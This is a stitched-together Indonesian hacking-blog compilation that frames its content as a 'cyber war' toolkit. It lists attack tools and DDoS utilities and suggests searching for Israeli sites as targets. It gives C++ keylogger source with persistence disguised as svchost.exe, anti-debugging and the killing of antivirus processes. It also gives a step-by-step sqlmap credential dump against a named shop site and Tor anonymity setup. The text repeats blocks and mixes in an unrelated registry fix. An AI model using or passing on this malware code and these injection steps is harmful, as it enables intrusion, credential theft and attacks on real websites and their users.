Kali ini kami akan berbagi peralatan tempur yang biasa digunakan untuk perang dunia maya / cyber war, semoga dengan hal ini kita akan lebih mudah dalam menyampaikan pesan perdamaian.
Peralatan penting diantaranya:
1. OPERATING SYSTEMS
Operating system merupakan bagian paling vital dalam upaya cyberwar, sebagai pondasi awal untuk memulai peperangan cyber.
Beberapa OS berikut yang paling digunakan untuk cyberwar dan penetration testing.
- Kali Linux
Pada operating system ini sudah terdapat beberapa tools standard yang memang digunakan untuk penetration testing dan didalamnya sudah terdapat METASPLOIT. OS ini sangat cocok digunakan untuk perang cyber. - WINDOWS OS (XP/Vista/7/8)
Windows adalah os yang paling umum digunakan dan sangat berguna juga untuk melakukan penetration testing, kekurangan dari windows adalah kita harus menambahkan aplikasi untuk menjalankan tools yang berbahasa pemrograman seperti python, ruby, perl, dll.
Anda bisa melakukan dual booting terhadap OS tersebut atau bisa menggunakan virtual machine seperti VMware. Alternatif lain bisa juga anda gunakan seperti, BlackBuntu, BlackOS, dll.



2. PETUNJUK & TUTORIAL HACKING, CRACKING, DEFACE, DLL
Anda bisa menemukan petunjuk untuk melakukan exploit, hacking, cracking dan deface diberbagai situs yang sudah menyediakan tutorial seperti www.binushacker.net.

Alternatif lainnya yang paling bisa digunakan:
- YOUTUBE & VIMEO
Siapa yang tidak kenal dengan YouTube & Vimeo, merupakan situs yang menyediakan video-video, tak terkecuali video tentang tutorial hacking, cracking, defacing, dll. Apabila tidak mengetahui bagaimana cara untuk cyberwar, tinggal cari dan lihat videonya di website ini. Sudah sangat banyak video tutorial diwebsite ini.
Website: www.youtube.com & www.vimeo.com - SECURITY TUBE
Situs ini merupakan situs yang spesifik menyediakan seluruh kumpulan video mengenai security dan hacking, sangat cocok untuk belajar teknik-teknik hacking, exploiting, cracking, defacing, fuzzing, dll.
Website: www.securitytube.net
3. VULNERABILITY INFORMATION
Selain anda memiliki exploit sendiri (undisclosed exploit) yang tidak disebarkan, anda juga bisa menggunakan free vulnerability yang sudah dipublikasikan di website-website berikut untuk mempermudah anda dalam menemukan kelemahan lawan.

Beberapa website yang bisa digunakan adalah sebagai berikut:
- EXPLOIT DATABASE
Exploit database adalah kelanjutan dari milw0rm dimana dikolaborasikan dengan google hacking database (GHDB). Diwebsite ini akan banyak ditemukan berbagai kelemahan website baik yang memiliki kelemahan remote, local atau di webaplikasi:
Website: www.exploit-db.com - SECURITY FOCUS
Situs ini hampir sama dengan Exploit-DB dan merupakan salah satu favorit team binushacker dalam mencari kelemahan, karena security focus sudah dibangun sejak lama. Disini akan ditemukan kelemahan-kelemahan website dari yang sudah lama sampai dengan yang terbaru. Sangat cocok untuk melakukan testing disegala aspek kelemahan terutama aplikasi web.
Website: www.securityfocus.com
4. TOOLS, SCANNER & SEARCH ENGINE
Berikut adalah bagaian paling penting dalam peralatan perang, yaitu kumpulan tools untuk scan, exploit dan pawning.

Kumpulan tools yang biasa dan sering digunakan adalah:
- SQL INJECTION TOOLS
SQL Injection merupakan kelemahan yang paling populer dalam dunia hacking khususnya yang berupa web application, yang bisa digunakan juga di berbagai database engine. Adapaun tools yang direkomendasikan adalah - REMOTE SHELL TOOLS
Remote shell tools merupakan tools yang wajib untuk dimiliki yang bisa di gunakan untuk exploitasi, download dan upload file. Eksekusi perintah-perintah baik yang ada di linux, bsd, freebsd dan windows.- C100 SHELL: merupakan sebuah tools exploitasi yang berbasis php dengan banyak fungsi didalamnya untuk eksekusi command, bypass, upload, download file, dll. Digunakan untuk *nix.
- NETWORK DAN WEB APPLICATION SCANNER
Network scanner digunakan untuk melakukan scan terhadap network target, mengumpulkan data dan informasi mengenai network yang digunakan oleh lawan. Sedangkan Webscanner digunakan untuk menemukan kelemahan lawan yang berbasis web aplikasi. - DISTRIBUTED DENIA OF SERVICE (DDOS) TOOLS
Tools ini digunakan untuk mematikan server secara sementara dengan teknik membajiri website dengan request hingga website tersebut overload dan tidak dapat diakses. List DDOS tool sebagai berikut:- SLOWLORIS: ddos tools yang dibuat oleh Rsnake, sangat powerful untuk check IIS server dan web aplikasi, sampai saat ini masih banyak digunakan.
- SEARCH ENGINE
Search engine merupakan alat terakhir yang perlu untuk digunakan untuk mencari website-website yang terdaftar. Misalkan anda akan mencari kelemahan website Israel tinggal gunakan keyword: *.il (Israel):- Google: search engine paling populer saat ini dan merupakan website no. 1 yang paling dikunjungi di dunia.
Website: www.google.com- Bing: merupakan sebuah tools untuk melakukan scanning terhadap kelemahan XSS.
Website: www.bing.com
Selanjutnya dengan mengetahui semua kebutuhan perang, anda telah memiliki langkah awal yang baik sebagai persiapan. Kemudian berikut adalah petunjuk yang bisa di praktekkan step-by-stepnya:
Hello Site Is Down Cyber Fighter Family,
Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus? Tenang…! Tidak perlu panik dulu. Tulisan kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.
Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus? Tenang…! Tidak perlu panik dulu. Tulisan kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.
Perlu ditekankan bahwa file dan folder yang bisa dikembalikan menjadi normal adalah file atau folder yang “hanya” disembunyikan oleh virus. File dan folder yang benar-benar hilang atau terhapus tidak bisa dikembalikan lagi, kecuali menggunakan sistem restore.
Okeh, kita mulai tutorial bagaimana menampilkan kembali file dan folder yang di-hidden oleh virus:
1. Start > Run > Notepad
Copy Paste-kan :
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006
Save file dgn nama : showhiddenfiles.reg ( save dimana saja )
2. Start > Run > Notepad
Copy Paste-kan :
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″
Save file dgn nama : nohidden.reg ( terserah mo di save dimana saja lg…heheh )
3. Start > Run > Notepad
Copy Paste-kan :
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″
Save file dgn nama : showall.reg ( terserah mo di save dimana sj lg….wkwkwk )
Setelah 3 file tersebut diatas jadi, klik satu persatu mulai dr no. 1 s/d 3 ( Pilih “Yes” )
NB : Simpan file ( .REG ) ini baik2, dan apabila suatu zaman nanti file & folder anda di-hidden lg oleh virus, anda dpt menggunakanx kembali….. Ok 
Hello Site Is Down Cyber Fighter Family,
Sebelumnya saya telah membahas Tutorial SQL Map, sekarang saya akan berbagi source keylogger saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk kategori keylogger supaya kita lebih terbuka dan memahami.
Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)
Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file). Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Sebelumnya saya telah membahas Tutorial SQL Map, sekarang saya akan berbagi source keylogger saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk kategori keylogger supaya kita lebih terbuka dan memahami.
Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)
Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file). Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
- Keylogger berbasis API,full written in C++,mudah dikembangkan.
- Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
- Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
- Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
- No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
- Silahkan ditambah sendiri
PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger Klik Disini
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
[crayon lang="c++"]
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
ATOM MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
//EP section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
[/crayon]
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan namasvchost kemudian membuat key untuk auto startup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan namasvchost kemudian membuat key untuk auto startup:
[crayon lang="c++"]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, “\\”);
strcat(szPath,”svchost.exe”);
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, “svchost system”, szPath);
[/crayon]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, “\\”);
strcat(szPath,”svchost.exe”);
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, “svchost system”, szPath);
[/crayon]
Anti Debug
[crayon lang="c++"]
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
[/crayon]
[crayon lang="c++"]
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
[/crayon]
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
[crayon lang="c++"]#include tlhelp32.h[/crayon]
[crayon lang="c++"]#include tlhelp32.h[/crayon]
Deklarasi Variabel
[crayon lang="c++"]
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
[/crayon]
[crayon lang="c++"]
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
[/crayon]
Fungsi Proses Killer:
[crayon lang="c++"]
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
[crayon lang="c++"]
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}[/crayon]
Penggunaan Killer Proses
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}[/crayon]
Penggunaan Killer Proses
[crayon lang="c++"]
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc(“regedit.exe”);
KillProc(“taskman.exe”);
KillProc(“PCMAV.exe”);
}
return EXIT_SUCCESS;
}
[/crayon]
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc(“regedit.exe”);
KillProc(“taskman.exe”);
KillProc(“PCMAV.exe”);
}
return EXIT_SUCCESS;
}
[/crayon]
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya.. hehe 
Akhir kata,selamat ber-coding dan berimajinasi =)
Bahan :
Phyton Download Disini
SQL Map Download Disini
Phyton Download Disini
SQL Map Download Disini
Dork : inurl:/.php?*id=
Langkah-langkah :
Untuk mengetahui website yang kalian mau Inject itu Vuln atau tidak , silahkan kasih tanda ( ' ) di akhir url target, contoh : http://vana-shop.com/ product.php?c=1 saya tambahin ' menjadi http://vana-shop.com/ product.php?c=1' nah kalo vuln nanti ada tulisan "you have an erro ...." mysql error dan sebagainya"
Untuk mengetahui website yang kalian mau Inject itu Vuln atau tidak , silahkan kasih tanda ( ' ) di akhir url target, contoh : http://vana-shop.com/
1. Setelah instal python, sekarang kalian extrack SQLMAPnya di Drive C:, setelah di extrack buka CMD lalu ketikan : cd\sqlmap\
2. Stelah itu, kalian mulailah scan website target dengan perintah :
sqlmap.py -u http://www.BUGWEBTARGET.com --dbs
Contoh Target : sqlmap.py -u http://vana-shop.com/ product.php?c=1 --dbs , klik [ENTER]
sqlmap.py -u http://www.BUGWEBTARGET.com --dbs
Contoh Target : sqlmap.py -u http://vana-shop.com/
3. Tuh kan keliatan DATABASE nya , sekarang waktunya kita scan dengan perintah :
sqlmap.py -u http://TARGET.com -D nama_database -tables
Contoh Target : sqlmap.py -u http://vana-shop.com/ product.php?c=1 -D k4735093_vnsh099 --tables
sqlmap.py -u http://TARGET.com -D nama_database -tables
Contoh Target : sqlmap.py -u http://vana-shop.com/
4. Nah keliatan kan Table di databasenya ? nah sekarang kita scan table tersebut (*cari yang menurut kalian terdapat info tentang user dan pass website) kalo udah yakin disana ada infonya, ketikan perintah :
sqlmap.py -u http://www.TARGETWEBSITE.com -D nama_database -T nama_table --columns
Contoh Target : sqlmap.py -u http://www.vana-shop.com/ product.php?c=1 -D k4735093_vnsh099 -T user --columns
sqlmap.py -u http://www.TARGETWEBSITE.com -D nama_database -T nama_table --columns
Contoh Target : sqlmap.py -u http://www.vana-shop.com/
5. Nah setelah keliatan Tabelnya sekarang kita ketikan perintah :
sqlmap.py -u http://www.target.com -D nama_database -T nama_table --dump
Contoh Target : sqlmap.py -u http://www.vana-shop.com/ product.php?c=1 -D k4735093_vnsh099 -T user --dump , klik enter
sqlmap.py -u http://www.target.com -D nama_database -T nama_table --dump
Contoh Target : sqlmap.py -u http://www.vana-shop.com/
Jika muncul tulisan seperti ini, ketik "n" lalu tekan enter "tanpa tanda kutip" :
do you want to crack them via a dictionary-based attack? [Y/n/q]
do you want to crack them via a dictionary-based attack? [Y/n/q]
nah itu kita dapetin User + Passwordnya tapi passnya masih dalam bentuk md5 tinggal skarang tinggal di pecahin md5nya
1. download TOR pada Klik Disini
2. instal TOR seperti Script berikut yang bergaris bawah : root@punisher404:~# dpkg -i tor*.deb
3. install privoxy root@punisher404:~# apt-get install privoxy
4. edit /etc/privoxy/config dan tambahkan teks berikut ini di baris paling bawah forward-socks4a / 127.0.0.1:9050 .
5. Ubah pada program kita agar menggunakan ip 127.0.0.1 dan port 8118. Contoh berikut ini pada chromium-browser
2. instal TOR seperti Script berikut yang bergaris bawah : root@punisher404:~# dpkg -i tor*.deb
3. install privoxy root@punisher404:~# apt-get install privoxy
4. edit /etc/privoxy/config dan tambahkan teks berikut ini di baris paling bawah forward-socks4a / 127.0.0.1:9050 .
5. Ubah pada program kita agar menggunakan ip 127.0.0.1 dan port 8118. Contoh berikut ini pada chromium-browser



